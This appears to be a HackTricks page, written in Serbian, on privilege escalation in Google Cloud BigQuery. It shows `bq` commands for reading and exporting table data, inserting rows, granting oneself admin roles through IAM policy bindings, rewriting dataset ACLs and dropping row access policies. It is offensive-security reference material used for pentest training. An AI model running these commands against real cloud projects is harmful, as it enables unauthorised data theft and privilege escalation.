# GCP - BigQuery Privesc

{{#include ../../../banners/hacktricks-training.md}}

## BigQuery

Za više informacija o BigQuery, proverite:

{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}

### Čitanje Tabele

Čitanjem informacija koje su pohranjene unutar BigQuery tabele može biti moguće pronaći s**enzitivne informacije**. Da biste pristupili informacijama, potrebne su dozvole **`bigquery.tables.get`**, **`bigquery.jobs.create`** i **`bigquery.tables.getData`**:
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
### Izvoz podataka

Ovo je još jedan način za pristup podacima. **Izvezite ih u cloud storage bucket** i **preuzmite datoteke** sa informacijama.\
Za izvođenje ove radnje potrebne su sledeće dozvole: **`bigquery.tables.export`**, **`bigquery.jobs.create`** i **`storage.objects.create`**.
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
### Unesite podatke

Možda je moguće **uneti određene pouzdane podatke** u Bigquery tabelu kako bi se iskoristila **ranjivost na nekom drugom mestu.** To se može lako uraditi sa dozvolama **`bigquery.tables.get`**, **`bigquery.tables.updateData`** i **`bigquery.jobs.create`**:
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json
```
### `bigquery.datasets.setIamPolicy`

Napadač bi mogao da zloupotrebi ovu privilegiju da **dodeli sebi dodatne dozvole** nad BigQuery skupom podataka:
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
### `bigquery.datasets.update`, (`bigquery.datasets.get`)

Samo ova dozvola omogućava **da ažurirate svoj pristup BigQuery skupu podataka modifikovanjem ACL-ova** koji označavaju ko može da mu pristupi:
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
### `bigquery.tables.setIamPolicy`

Napadač bi mogao da zloupotrebi ovu privilegiju da **dodeli sebi dodatne dozvole** nad BigQuery tabelom:
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Prema dokumentaciji, sa pomenutim dozvolama je moguće **ažurirati politiku reda.**\
Međutim, **koristeći cli `bq`** potrebne su vam još neke: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
Moguće je pronaći ID filtera u izlazu enumeracije pravila redova. Primer:
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
```
Ako imate **`bigquery.rowAccessPolicies.delete`** umesto `bigquery.rowAccessPolicies.update`, možete jednostavno obrisati politiku:
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
> [!CAUTION]
> Joša potencijalna opcija za zaobilaženje politika pristupa redovima bi bila da jednostavno promenite vrednost ograničenih podataka. Ako možete da vidite samo kada je `term` `Cfba`, jednostavno izmenite sve zapise u tabeli da imaju `term = "Cfba"`. Međutim, ovo je sprečeno od strane bigquery.

{{#include ../../../banners/hacktricks-training.md}}
